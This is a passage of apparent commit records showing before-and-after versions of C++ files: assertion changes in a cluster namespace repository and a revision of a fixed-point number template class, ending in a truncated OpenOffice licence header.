protocol_t>\nnamespace_repo_t<protocol_t>::namespace_repo_t(mailbox_manager_t *_mailbox_manager,\n clone_ptr_t<watchable_t<std::map<peer_id_t, namespaces_directory_metadata_t<protocol_t> > > > _namespaces_directory_metadata,\n typename protocol_t::context_t *_ctx)\n : mailbox_manager(_mailbox_manager),\n namespaces_directory_metadata(_namespaces_directory_metadata),\n ctx(_ctx)\n{ }\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::~namespace_repo_t() { }\n\ntemplate <class protocol_t>\nstd::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > get_reactor_business_cards(\n const std::map<peer_id_t, namespaces_directory_metadata_t<protocol_t> > &ns_directory_metadata, namespace_id_t n_id) {\n std::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > res;\n for (typename std::map<peer_id_t, namespaces_directory_metadata_t<protocol_t> >::const_iterator it = ns_directory_metadata.begin();\n it != ns_directory_metadata.end();\n it++) {\n typename namespaces_directory_metadata_t<protocol_t>::reactor_bcards_map_t::const_iterator jt =\n it->second.reactor_bcards.find(n_id);\n if (jt != it->second.reactor_bcards.end()) {\n res[it->first] = jt->second.internal;\n } else {\n res[it->first] = cow_ptr_t<reactor_business_card_t<protocol_t> >();\n }\n }\n\n return res;\n}\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::access_t() :\n cache_entry(NULL),\n thread(INVALID_THREAD)\n { }\n\ntemplate<class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::access_t(namespace_repo_t *parent, namespace_id_t namespace_id, signal_t *interruptor) :\n thread(get_thread_id())\n{\n {\n ASSERT_FINITE_CORO_WAITING;\n namespace_cache_t *cache = parent->namespace_caches.get();\n if (cache->entries.find(namespace_id) == cache->entries.end()) {\n cache_entry = new namespace_cache_entry_t;\n cache_entry->ref_count = 0;\n cache_entry->pulse_when_ref_count_becomes_zero = NULL;\n cache_entry->pulse_when_ref_count_becomes_nonzero = NULL;\n ref_handler.init(cache_entry);\n cache->entries.insert(namespace_id, cache_entry);\n coro_t::spawn_sometime(boost::bind(\n &namespace_repo_t<protocol_t>::create_and_destroy_namespace_interface, parent,\n cache, namespace_id,\n auto_drainer_t::lock_t(&cache->drainer)));\n } else {\n cache_entry = &cache->entries[namespace_id];\n ref_handler.init(cache_entry);\n }\n }\n wait_interruptible(cache_entry->namespace_if.get_ready_signal(), interruptor);\n}\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::access_t(const access_t& access) :\n cache_entry(access.cache_entry),\n thread(access.thread)\n{\n if (cache_entry) {\n rassert_unreviewed(get_thread_id() == thread);\n ref_handler.init(cache_entry);\n }\n}\n\ntemplate <class protocol_t>\ntypename namespace_repo_t<protocol_t>::access_t &namespace_repo_t<protocol_t>::access_t::operator=(const access_t &access) {\n if (this != &access) {\n cache_entry = access.cache_entry;\n ref_handler.reset();\n if (access.cache_entry) {\n ref_handler.init(access.cache_entry);\n }\n thread = access.thread;\n }\n return *this;\n}\n\ntemplate <class protocol_t>\nnamespace_interface_t<protocol_t> *namespace_repo_t<protocol_t>::access_t::get_namespace_if() {\n rassert_unreviewed(thread == get_thread_id());\n return cache_entry->namespace_if.get_value();\n}\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::ref_handler_t::ref_handler_t() :\n ref_target(NULL) { }\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::ref_handler_t::~ref_handler_t() {\n reset();\n}\n\ntemplate <class protocol_t>\nvoid namespace_repo_t<protocol_t>::access_t::ref_handler_t::init(namespace_cache_entry_t *_ref_target) {\n ASSERT_NO_CORO_WAITING;\n rassert_unreviewed(ref_target == NULL);\n ref_target = _ref_target;\n ref_target->ref_count++;\n if (ref_target->ref_count == 1) {\n if (ref_target->pulse_when_ref_count_becomes_nonzero) {\n ref_target->pulse_when_ref_count_becomes_nonzero->pulse_if_not_already_pulsed();\n }\n }\n}\n\ntemplate <class protocol_t>\nvoid namespace_repo_t<protocol_t>::access_t::ref_handler_t::reset() {\n ASSERT_NO_CORO_WAITING;\n if (ref_target != NULL) {\n ref_target->ref_count--;\n if (ref_target->ref_count == 0) {\n if (ref_target->pulse_when_ref_count_becomes_zero) {\n ref_target->pulse_when_ref_count_becomes_zero->pulse_if_not_already_pulsed();\n }\n }\n }\n}\n\ntemplate <class protocol_t>\nvoid namespace_repo_t<protocol_t>::create_and_destroy_namespace_interface(\n namespace_cache_t *cache,\n namespace_id_t namespace_id,\n auto_drainer_t::lock_t keepalive)\n THROWS_NOTHING{\n keepalive.assert_is_holding(&cache->drainer);\n int thread = get_thread_id();\n\n namespace_cache_entry_t *cache_entry = cache->entries.find(namespace_id)->second;\n rassert_unreviewed(!cache_entry->namespace_if.get_ready_signal()->is_pulsed());\n\n \/* We need to switch to `home_thread()` to construct\n `cross_thread_watchable`, then switch back. In destruction we need to do the\n reverse. Fortunately RAII works really nicely here. *\/\n on_thread_t switch_to_home_thread(home_thread());\n clone_ptr_t<watchable_t<std::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > > > subview =\n namespaces_directory_metadata->subview(boost::bind(&get_reactor_business_cards<protocol_t>, _1, namespace_id));\n cross_thread_watchable_variable_t<std::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > > cross_thread_watchable(subview, thread);\n on_thread_t switch_back(thread);\n\n cluster_namespace_interface_t<protocol_t> namespace_interface(\n mailbox_manager,\n cross_thread_watchable.get_watchable(),\n ctx);\n\n try {\n wait_interruptible(namespace_interface.get_initial_ready_signal(),\n keepalive.get_drain_signal());\n\n \/* Notify `access_t`s that the namespace is available now *\/\n cache_entry->namespace_if.pulse(&namespace_interface);\n\n \/* Wait until it's time to shut down *\/\n while (true) {\n while (cache_entry->ref_count != 0) {\n cond_t ref_count_is_zero;\n assignment_sentry_t<cond_t *> notify_if_ref_count_becomes_zero(\n &cache_entry->pulse_when_ref_count_becomes_zero,\n &ref_count_is_zero);\n wait_interruptible(&ref_count_is_zero, keepalive.get_drain_signal());\n }\n signal_timer_t expiration_timer(NAMESPACE_INTERFACE_EXPIRATION_MS);\n cond_t ref_count_is_nonzero;\n assignment_sentry_t<cond_t *> notify_if_ref_count_becomes_nonzero(\n &cache_entry->pulse_when_ref_count_becomes_nonzero,\n &ref_count_is_nonzero);\n wait_any_t waiter(&expiration_timer, &ref_count_is_nonzero);\n wait_interruptible(&waiter, keepalive.get_drain_signal());\n if (!ref_count_is_nonzero.is_pulsed()) {\n rassert_unreviewed(cache_entry->ref_count == 0);\n \/* We waited a whole `NAMESPACE_INTERFACE_EXPIRATION_MS` and\n nothing used us. So let's destroy ourselves. *\/\n break;\n }\n }\n\n } catch (interrupted_exc_t) {\n \/* We got here because we were interrupted in the startup process. That\n means the `namespace_repo_t` destructor was called, which means there\n mustn't exist any `access_t` objects. So ref_count must be 0. *\/\n rassert_unreviewed(cache_entry->ref_count == 0);\n }\n\n ASSERT_NO_CORO_WAITING;\n cache->entries.erase(namespace_id);\n}\n\n#include \"mock\/dummy_protocol.hpp\"\n#include \"memcached\/protocol.hpp\"\n#include \"rdb_protocol\/protocol.hpp\"\n\ntemplate class namespace_repo_t<mock::dummy_protocol_t>;\ntemplate class namespace_repo_t<memcached_protocol_t>;\ntemplate class namespace_repo_t<rdb_protocol_t>;\n<commit_msg>Reviewed assertions in namespace_interface_repository.cc.<commit_after>#include \"clustering\/administration\/namespace_interface_repository.hpp\"\n\n#include \"errors.hpp\"\n#include <boost\/bind.hpp>\n#include <boost\/ptr_container\/ptr_map.hpp>\n\n#include \"concurrency\/cross_thread_signal.hpp\"\n#include \"concurrency\/cross_thread_watchable.hpp\"\n\n#define NAMESPACE_INTERFACE_EXPIRATION_MS (60 * 1000)\n\ntemplate <class protocol_t>\nstruct namespace_repo_t<protocol_t>::namespace_cache_t {\npublic:\n boost::ptr_map<namespace_id_t, namespace_cache_entry_t> entries;\n auto_drainer_t drainer;\n};\n\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::namespace_repo_t(mailbox_manager_t *_mailbox_manager,\n clone_ptr_t<watchable_t<std::map<peer_id_t, namespaces_directory_metadata_t<protocol_t> > > > _namespaces_directory_metadata,\n typename protocol_t::context_t *_ctx)\n : mailbox_manager(_mailbox_manager),\n namespaces_directory_metadata(_namespaces_directory_metadata),\n ctx(_ctx)\n{ }\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::~namespace_repo_t() { }\n\ntemplate <class protocol_t>\nstd::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > get_reactor_business_cards(\n const std::map<peer_id_t, namespaces_directory_metadata_t<protocol_t> > &ns_directory_metadata, namespace_id_t n_id) {\n std::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > res;\n for (typename std::map<peer_id_t, namespaces_directory_metadata_t<protocol_t> >::const_iterator it = ns_directory_metadata.begin();\n it != ns_directory_metadata.end();\n it++) {\n typename namespaces_directory_metadata_t<protocol_t>::reactor_bcards_map_t::const_iterator jt =\n it->second.reactor_bcards.find(n_id);\n if (jt != it->second.reactor_bcards.end()) {\n res[it->first] = jt->second.internal;\n } else {\n res[it->first] = cow_ptr_t<reactor_business_card_t<protocol_t> >();\n }\n }\n\n return res;\n}\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::access_t() :\n cache_entry(NULL),\n thread(INVALID_THREAD)\n { }\n\ntemplate<class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::access_t(namespace_repo_t *parent, namespace_id_t namespace_id, signal_t *interruptor) :\n thread(get_thread_id())\n{\n {\n ASSERT_FINITE_CORO_WAITING;\n namespace_cache_t *cache = parent->namespace_caches.get();\n if (cache->entries.find(namespace_id) == cache->entries.end()) {\n cache_entry = new namespace_cache_entry_t;\n cache_entry->ref_count = 0;\n cache_entry->pulse_when_ref_count_becomes_zero = NULL;\n cache_entry->pulse_when_ref_count_becomes_nonzero = NULL;\n ref_handler.init(cache_entry);\n cache->entries.insert(namespace_id, cache_entry);\n coro_t::spawn_sometime(boost::bind(\n &namespace_repo_t<protocol_t>::create_and_destroy_namespace_interface, parent,\n cache, namespace_id,\n auto_drainer_t::lock_t(&cache->drainer)));\n } else {\n cache_entry = &cache->entries[namespace_id];\n ref_handler.init(cache_entry);\n }\n }\n wait_interruptible(cache_entry->namespace_if.get_ready_signal(), interruptor);\n}\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::access_t(const access_t& access) :\n cache_entry(access.cache_entry),\n thread(access.thread)\n{\n if (cache_entry) {\n rassert_reviewed(get_thread_id() == thread);\n ref_handler.init(cache_entry);\n }\n}\n\ntemplate <class protocol_t>\ntypename namespace_repo_t<protocol_t>::access_t &namespace_repo_t<protocol_t>::access_t::operator=(const access_t &access) {\n if (this != &access) {\n cache_entry = access.cache_entry;\n ref_handler.reset();\n if (access.cache_entry) {\n ref_handler.init(access.cache_entry);\n }\n thread = access.thread;\n }\n return *this;\n}\n\ntemplate <class protocol_t>\nnamespace_interface_t<protocol_t> *namespace_repo_t<protocol_t>::access_t::get_namespace_if() {\n rassert_reviewed(thread == get_thread_id());\n return cache_entry->namespace_if.get_value();\n}\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::ref_handler_t::ref_handler_t() :\n ref_target(NULL) { }\n\ntemplate <class protocol_t>\nnamespace_repo_t<protocol_t>::access_t::ref_handler_t::~ref_handler_t() {\n reset();\n}\n\ntemplate <class protocol_t>\nvoid namespace_repo_t<protocol_t>::access_t::ref_handler_t::init(namespace_cache_entry_t *_ref_target) {\n ASSERT_NO_CORO_WAITING;\n guarantee_reviewed(ref_target == NULL);\n ref_target = _ref_target;\n ref_target->ref_count++;\n if (ref_target->ref_count == 1) {\n if (ref_target->pulse_when_ref_count_becomes_nonzero) {\n ref_target->pulse_when_ref_count_becomes_nonzero->pulse_if_not_already_pulsed();\n }\n }\n}\n\ntemplate <class protocol_t>\nvoid namespace_repo_t<protocol_t>::access_t::ref_handler_t::reset() {\n ASSERT_NO_CORO_WAITING;\n if (ref_target != NULL) {\n ref_target->ref_count--;\n if (ref_target->ref_count == 0) {\n if (ref_target->pulse_when_ref_count_becomes_zero) {\n ref_target->pulse_when_ref_count_becomes_zero->pulse_if_not_already_pulsed();\n }\n }\n }\n}\n\ntemplate <class protocol_t>\nvoid namespace_repo_t<protocol_t>::create_and_destroy_namespace_interface(\n namespace_cache_t *cache,\n namespace_id_t namespace_id,\n auto_drainer_t::lock_t keepalive)\n THROWS_NOTHING{\n keepalive.assert_is_holding(&cache->drainer);\n int thread = get_thread_id();\n\n namespace_cache_entry_t *cache_entry = cache->entries.find(namespace_id)->second;\n guarantee_reviewed(!cache_entry->namespace_if.get_ready_signal()->is_pulsed());\n\n \/* We need to switch to `home_thread()` to construct\n `cross_thread_watchable`, then switch back. In destruction we need to do the\n reverse. Fortunately RAII works really nicely here. *\/\n on_thread_t switch_to_home_thread(home_thread());\n clone_ptr_t<watchable_t<std::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > > > subview =\n namespaces_directory_metadata->subview(boost::bind(&get_reactor_business_cards<protocol_t>, _1, namespace_id));\n cross_thread_watchable_variable_t<std::map<peer_id_t, cow_ptr_t<reactor_business_card_t<protocol_t> > > > cross_thread_watchable(subview, thread);\n on_thread_t switch_back(thread);\n\n cluster_namespace_interface_t<protocol_t> namespace_interface(\n mailbox_manager,\n cross_thread_watchable.get_watchable(),\n ctx);\n\n try {\n wait_interruptible(namespace_interface.get_initial_ready_signal(),\n keepalive.get_drain_signal());\n\n \/* Notify `access_t`s that the namespace is available now *\/\n cache_entry->namespace_if.pulse(&namespace_interface);\n\n \/* Wait until it's time to shut down *\/\n while (true) {\n while (cache_entry->ref_count != 0) {\n cond_t ref_count_is_zero;\n assignment_sentry_t<cond_t *> notify_if_ref_count_becomes_zero(\n &cache_entry->pulse_when_ref_count_becomes_zero,\n &ref_count_is_zero);\n wait_interruptible(&ref_count_is_zero, keepalive.get_drain_signal());\n }\n signal_timer_t expiration_timer(NAMESPACE_INTERFACE_EXPIRATION_MS);\n cond_t ref_count_is_nonzero;\n assignment_sentry_t<cond_t *> notify_if_ref_count_becomes_nonzero(\n &cache_entry->pulse_when_ref_count_becomes_nonzero,\n &ref_count_is_nonzero);\n wait_any_t waiter(&expiration_timer, &ref_count_is_nonzero);\n wait_interruptible(&waiter, keepalive.get_drain_signal());\n if (!ref_count_is_nonzero.is_pulsed()) {\n guarantee_reviewed(cache_entry->ref_count == 0);\n \/* We waited a whole `NAMESPACE_INTERFACE_EXPIRATION_MS` and\n nothing used us. So let's destroy ourselves. *\/\n break;\n }\n }\n\n } catch (interrupted_exc_t) {\n \/* We got here because we were interrupted in the startup process. That\n means the `namespace_repo_t` destructor was called, which means there\n mustn't exist any `access_t` objects. So ref_count must be 0. *\/\n guarantee_reviewed(cache_entry->ref_count == 0);\n }\n\n ASSERT_NO_CORO_WAITING;\n cache->entries.erase(namespace_id);\n}\n\n#include \"mock\/dummy_protocol.hpp\"\n#include \"memcached\/protocol.hpp\"\n#include \"rdb_protocol\/protocol.hpp\"\n\ntemplate class namespace_repo_t<mock::dummy_protocol_t>;\ntemplate class namespace_repo_t<memcached_protocol_t>;\ntemplate class namespace_repo_t<rdb_protocol_t>;\n<|endoftext|>"} {"text":"<commit_before>\r\n#ifndef FIXED_FIXED_HPP_INCLUDED\r\n#define FIXED_FIXED_HPP_INCLUDED\r\n\r\n\/\/ Copyright Joel Riendeau 2008\r\n\/\/ Jean-Philippe Gravel 2008\r\n\/\/ Jean-Olivier Racine 2008\r\n\/\/\r\n\/\/ Distributed under the New BSD License. \r\n\/\/ (See accompanying file NewBSDLicense.txt or copy at \r\n\/\/ http:\/\/www.opensource.org\/licenses\/bsd-license.php)\r\n\r\n#include \"integer_types.hpp\"\r\n#include \"boost\\mpl\\if.hpp\"\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\nclass Q\r\n{\r\npublic:\r\n Q() : m_Comp(0) {}\r\n Q(const Q& val) : m_Comp(val.m_Comp) {}\r\n template <typename T>\r\n\tQ(T val) : m_Magn(static_cast<InternalType>(val)), m_Frac(0) {}\r\n\r\n\tQ(float val)\r\n {\r\n m_Comp = static_cast<InternalType>(val * (1 << Fractional));\r\n }\r\n\r\n\tQ(double val)\r\n {\r\n m_Comp = static_cast<InternalType>(val * (1 << Fractional));\r\n }\r\n\r\n template <typename T>\r\n inline operator T() const\r\n {\r\n return static_cast<T>(m_Magn);\r\n }\r\n\r\n inline operator float() const\r\n { \r\n if (0 == m_Comp)\r\n return 0.0f;\r\n float result = static_cast<float>(m_Comp);\r\n ((FloatFormat*)&result)->exponent -= Fractional;\r\n return result;\r\n }\r\n\r\n inline bool operator==(const Q& val) const {return m_Comp == val.m_Comp;}\r\n inline bool operator!=(const Q& val) const {return m_Comp != val.m_Comp;}\r\n inline bool operator< (const Q& val) const {return m_Comp < val.m_Comp;}\r\n inline bool operator<=(const Q& val) const {return m_Comp <= val.m_Comp;}\r\n inline bool operator> (const Q& val) const {return m_Comp > val.m_Comp;}\r\n inline bool operator>=(const Q& val) const {return m_Comp >= val.m_Comp;}\r\n\r\n inline Q operator+ (const Q& val) const {Q res; res.m_Comp = m_Comp + val.m_Comp; return res;}\r\n inline Q operator+=(const Q& val) {m_Comp += val.m_Comp; return *this;}\r\n inline Q operator- (const Q& val) const {Q res; res.m_Comp = m_Comp - val.m_Comp; return res;}\r\n inline Q operator-=(const Q& val) {m_Comp -= val.m_Comp; return *this;}\r\n inline Q operator* (const Q& val) const\r\n {\r\n Q res;\r\n res.m_Comp = (static_cast<MultiplyType>(m_Comp) *\r\n static_cast<MultiplyType>(val.m_Comp)) >> Fractional;\r\n return res;\r\n }\r\n inline Q operator*=(const Q& val)\r\n {\r\n m_Comp = (static_cast<MultiplyType>(m_Comp) *\r\n static_cast<MultiplyType>(val.m_Comp)) >> Fractional;\r\n return *this;\r\n }\r\n inline Q operator\/(const Q& val) const\r\n {\r\n Q res;\r\n if (val.m_Comp == 0) res.m_Comp = ~val.m_Comp;\r\n res.m_Comp = ((static_cast<MultiplyType>(m_Comp) << Fractional) \/ val.m_Comp) >> Fractional;\r\n return res;\r\n }\r\n inline Q operator\/=(const Q& val)\r\n {\r\n if (val.m_Comp == 0)\r\n m_Comp = ~val.m_Comp;\r\n else\r\n m_Comp = ((static_cast<MultiplyType>(m_Comp) << Fractional) \/ val.m_Comp) >> Fractional;\r\n return *this;\r\n }\r\n\r\n \/\/ A template to select the smallest integer type for a given amount of bits\r\n template <uint8_t Bits, bool Signed> struct FixedInteger\r\n {\r\n typedef typename boost::mpl::if_c<(Bits <= 8 && Signed), sint8_t\r\n , typename boost::mpl::if_c<(Bits <= 8 && !Signed), uint8_t\r\n , typename boost::mpl::if_c<(Bits <= 16 && Signed), sint16_t\r\n , typename boost::mpl::if_c<(Bits <= 16 && !Signed), uint16_t\r\n , typename boost::mpl::if_c<(Bits <= 32 && Signed), sint32_t\r\n , typename boost::mpl::if_c<(Bits <= 32 && !Signed), uint32_t\r\n , typename boost::mpl::if_c<(Bits <= 64 && Signed), sint64_t\r\n , typename boost::mpl::if_c<(Bits <= 64 && !Signed), uint64_t\r\n , void>::type >::type >::type >::type >::type >::type >::type >::type type;\r\n };\r\n\r\n enum\r\n {\r\n NBits = (Magnitude < 0 ? -Magnitude : Magnitude) + Fractional,\r\n NBits_Magn = (Magnitude < 0 ? -Magnitude : Magnitude),\r\n NBits_Frac = Fractional\r\n };\r\n\r\n typedef typename FixedInteger<NBits, (Magnitude < 0)>::type InternalType;\r\n typedef typename FixedInteger<NBits*2, (Magnitude < 0)>::type MultiplyType;\r\n typedef typename FixedInteger<(NBits > sizeof(float) ? NBits : sizeof(float)), false>::type FloatCastType;\r\n\r\n inline InternalType Frac() {return m_Frac;}\r\n\r\n union\r\n {\r\n struct\r\n {\r\n InternalType m_Frac : NBits_Frac;\r\n InternalType m_Magn : NBits_Magn;\r\n };\r\n InternalType m_Comp;\r\n };\r\n\r\nprivate:\r\n typedef union FloatFormat\r\n {\r\n struct\r\n {\r\n uint32_t mantissa : 23;\r\n uint32_t exponent : 8;\r\n uint32_t sign : 1;\r\n };\r\n uint32_t full;\r\n } FloatFormat;\r\n};\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\ninline Q<Magnitude, Fractional> sqrt(const Q<Magnitude, Fractional>& val)\r\n{\r\n \/\/if (Magnitude < 0)\r\n \/\/ return MAX_VAL\r\n Q<Magnitude, Fractional>::MultiplyType temp = val.m_Comp << Fractional;\r\n Q<Magnitude, Fractional>::InternalType root = 0, test;\r\n for (Sint8 i = Q<Magnitude, Fractional>::NBits - 1; i >= 0; i--)\r\n {\r\n test = root + (1 << i);\r\n if (temp >= test << i)\r\n { temp -= test << i;\r\n root |= 2 << i;\r\n }\r\n }\r\n return root >> 1;\r\n}\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\ninline Q<Magnitude, Fractional> floor(const Q<Magnitude, Fractional>& val)\r\n{\r\n Q<Magnitude, Fractional> ret = val;\r\n ret.m_Frac = 0;\r\n return ret;\r\n}\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\ninline Q<Magnitude, Fractional> ceil(const Q<Magnitude, Fractional>& val)\r\n{\r\n Q<Magnitude, Fractional> ret = val;\r\n if (0 != ret.m_Frac)\r\n ++ret.m_Magn;\r\n ret.m_Frac = 0;\r\n return ret;\r\n}\r\n\r\n \/*\r\n\tfixed pow(fixed fixedPower);\r\n\tfixed log10(void);\r\n\tfixed log(void);\r\n\tfixed exp(void);\r\n\tfixed cos(void);\r\n\tfixed sin(void);\r\n\tfixed tan(void);*\/\r\n\r\n#endif<commit_msg>-Removed inlines -Set arithmetic operator arguments to receive const references -Added a templated constructor for other Q types -Started working on comparison operators -Forced m_Frac to an unsigned type, and renamed the types used for m_Magn and m_Frac<commit_after>\r\n#ifndef FIXED_FIXED_HPP_INCLUDED\r\n#define FIXED_FIXED_HPP_INCLUDED\r\n\r\n\/\/ Copyright Joel Riendeau 2008\r\n\/\/ Jean-Philippe Gravel 2008\r\n\/\/ Jean-Olivier Racine 2008\r\n\/\/\r\n\/\/ Distributed under the New BSD License. \r\n\/\/ (See accompanying file NewBSDLicense.txt or copy at \r\n\/\/ http:\/\/www.opensource.org\/licenses\/bsd-license.php)\r\n\r\n#include \"integer_types.hpp\"\r\n#include \"boost\\mpl\\if.hpp\"\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\nclass Q\r\n{\r\npublic:\r\n Q() : m_Comp(0) {}\r\n template <sint8_t M, uint8_t F>\r\n explicit Q(const Q<M,F>& val)\r\n {\r\n m_Comp = (Fractional > F) ?\r\n static_cast<MagnType>(val.m_Comp << (Fractional - F)) :\r\n static_cast<MagnType>(val.m_Comp >> (F - Fractional)) ;\r\n }\r\n template <typename T>\r\n\tQ(T val) : m_Magn(static_cast<MagnType>(val)), m_Frac(0) {}\r\n\r\n\tQ(float val)\r\n {\r\n m_Comp = static_cast<MagnType>(val * (1 << Fractional));\r\n }\r\n\r\n\tQ(double val)\r\n {\r\n m_Comp = static_cast<MagnType>(val * (1 << Fractional));\r\n }\r\n\r\n template <typename T>\r\n operator T() const\r\n {\r\n return static_cast<T>(m_Magn);\r\n }\r\n\r\n operator float() const\r\n { \r\n float result = static_cast<float>(m_Comp);\r\n ((FloatFormat*)&result)->exponent -= Fractional;\r\n return (0 == m_Comp) ? 0.0f : result;\r\n }\r\n\r\n template <sint8_t M, uint8_t F>\r\n bool operator==(const Q<M,F>& val) const\r\n {\r\n return (m_Magn == val.m_Magn) && (m_Frac == val.m_Frac);\r\n }\r\n bool operator!=(const Q& val) const {return m_Comp != val.m_Comp;}\r\n bool operator< (const Q& val) const {return m_Comp < val.m_Comp;}\r\n bool operator<=(const Q& val) const {return m_Comp <= val.m_Comp;}\r\n bool operator> (const Q& val) const {return m_Comp > val.m_Comp;}\r\n bool operator>=(const Q& val) const {return m_Comp >= val.m_Comp;}\r\n\r\n Q operator+ (const Q& val) const {Q res; res.m_Comp = m_Comp + val.m_Comp; return res;}\r\n Q operator+=(const Q& val) {m_Comp += val.m_Comp; return *this;}\r\n Q operator- (const Q& val) const {Q res; res.m_Comp = m_Comp - val.m_Comp; return res;}\r\n Q operator-=(const Q& val) {m_Comp -= val.m_Comp; return *this;}\r\n Q operator* (const Q& val) const\r\n {\r\n Q res;\r\n res.m_Comp = (static_cast<MultiplyType>(m_Comp) *\r\n static_cast<MultiplyType>(val.m_Comp)) >> Fractional;\r\n return res;\r\n }\r\n Q operator*=(const Q& val)\r\n {\r\n m_Comp = (static_cast<MultiplyType>(m_Comp) *\r\n static_cast<MultiplyType>(val.m_Comp)) >> Fractional;\r\n return *this;\r\n }\r\n Q operator\/(const Q& val) const\r\n {\r\n Q res;\r\n if (val.m_Comp == 0) res.m_Comp = ~val.m_Comp;\r\n res.m_Comp = ((static_cast<MultiplyType>(m_Comp) << Fractional) \/ val.m_Comp) >> Fractional;\r\n return res;\r\n }\r\n Q operator\/=(const Q& val)\r\n {\r\n if (val.m_Comp == 0)\r\n m_Comp = ~val.m_Comp;\r\n else\r\n m_Comp = ((static_cast<MultiplyType>(m_Comp) << Fractional) \/ val.m_Comp) >> Fractional;\r\n return *this;\r\n }\r\n\r\n \/\/ A template to select the smallest integer type for a given amount of bits\r\n template <uint8_t Bits, bool Signed> struct FixedInteger\r\n {\r\n typedef typename boost::mpl::if_c<(Bits <= 8 && Signed), sint8_t\r\n , typename boost::mpl::if_c<(Bits <= 8 && !Signed), uint8_t\r\n , typename boost::mpl::if_c<(Bits <= 16 && Signed), sint16_t\r\n , typename boost::mpl::if_c<(Bits <= 16 && !Signed), uint16_t\r\n , typename boost::mpl::if_c<(Bits <= 32 && Signed), sint32_t\r\n , typename boost::mpl::if_c<(Bits <= 32 && !Signed), uint32_t\r\n , typename boost::mpl::if_c<(Bits <= 64 && Signed), sint64_t\r\n , typename boost::mpl::if_c<(Bits <= 64 && !Signed), uint64_t\r\n , void>::type >::type >::type >::type >::type >::type >::type >::type type;\r\n };\r\n\r\n enum\r\n {\r\n NBits = (Magnitude < 0 ? -Magnitude : Magnitude) + Fractional,\r\n NBits_Magn = (Magnitude < 0 ? -Magnitude : Magnitude),\r\n NBits_Frac = Fractional\r\n };\r\n\r\n typedef typename FixedInteger<NBits, (Magnitude < 0)>::type MagnType;\r\n typedef typename FixedInteger<NBits, false>::type FracType;\r\n typedef typename FixedInteger<NBits*2, (Magnitude < 0)>::type MultiplyType;\r\n typedef typename FixedInteger<(NBits > sizeof(float) ? NBits : sizeof(float)), false>::type FloatCastType;\r\n\r\n FracType Frac() {return m_Frac;}\r\n\r\n union\r\n {\r\n struct\r\n {\r\n FracType m_Frac : NBits_Frac;\r\n MagnType m_Magn : NBits_Magn;\r\n };\r\n MagnType m_Comp;\r\n };\r\n\r\nprivate:\r\n typedef union FloatFormat\r\n {\r\n struct\r\n {\r\n uint32_t mantissa : 23;\r\n uint32_t exponent : 8;\r\n uint32_t sign : 1;\r\n };\r\n uint32_t full;\r\n } FloatFormat;\r\n};\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\nQ<Magnitude, Fractional> sqrt(const Q<Magnitude, Fractional>& val)\r\n{\r\n \/\/if (Magnitude < 0)\r\n \/\/ return MAX_VAL\r\n Q<Magnitude, Fractional>::MultiplyType temp = val.m_Comp << Fractional;\r\n Q<Magnitude, Fractional>::InternalType root = 0, test;\r\n for (Sint8 i = Q<Magnitude, Fractional>::NBits - 1; i >= 0; i--)\r\n {\r\n test = root + (1 << i);\r\n if (temp >= test << i)\r\n { temp -= test << i;\r\n root |= 2 << i;\r\n }\r\n }\r\n return root >> 1;\r\n}\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\nQ<Magnitude, Fractional> floor(const Q<Magnitude, Fractional>& val)\r\n{\r\n Q<Magnitude, Fractional> ret = val;\r\n ret.m_Frac = 0;\r\n return ret;\r\n}\r\n\r\ntemplate <sint8_t Magnitude, uint8_t Fractional>\r\nQ<Magnitude, Fractional> ceil(const Q<Magnitude, Fractional>& val)\r\n{\r\n Q<Magnitude, Fractional> ret = val;\r\n if (0 != ret.m_Frac)\r\n ++ret.m_Magn;\r\n ret.m_Frac = 0;\r\n return ret;\r\n}\r\n\r\n \/*\r\n\tfixed pow(fixed fixedPower);\r\n\tfixed log10(void);\r\n\tfixed log(void);\r\n\tfixed exp(void);\r\n\tfixed cos(void);\r\n\tfixed sin(void);\r\n\tfixed tan(void);*\/\r\n\r\n#endif<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: flbytes.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: hr $ $Date: 2006-06-19 21:19:58 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, 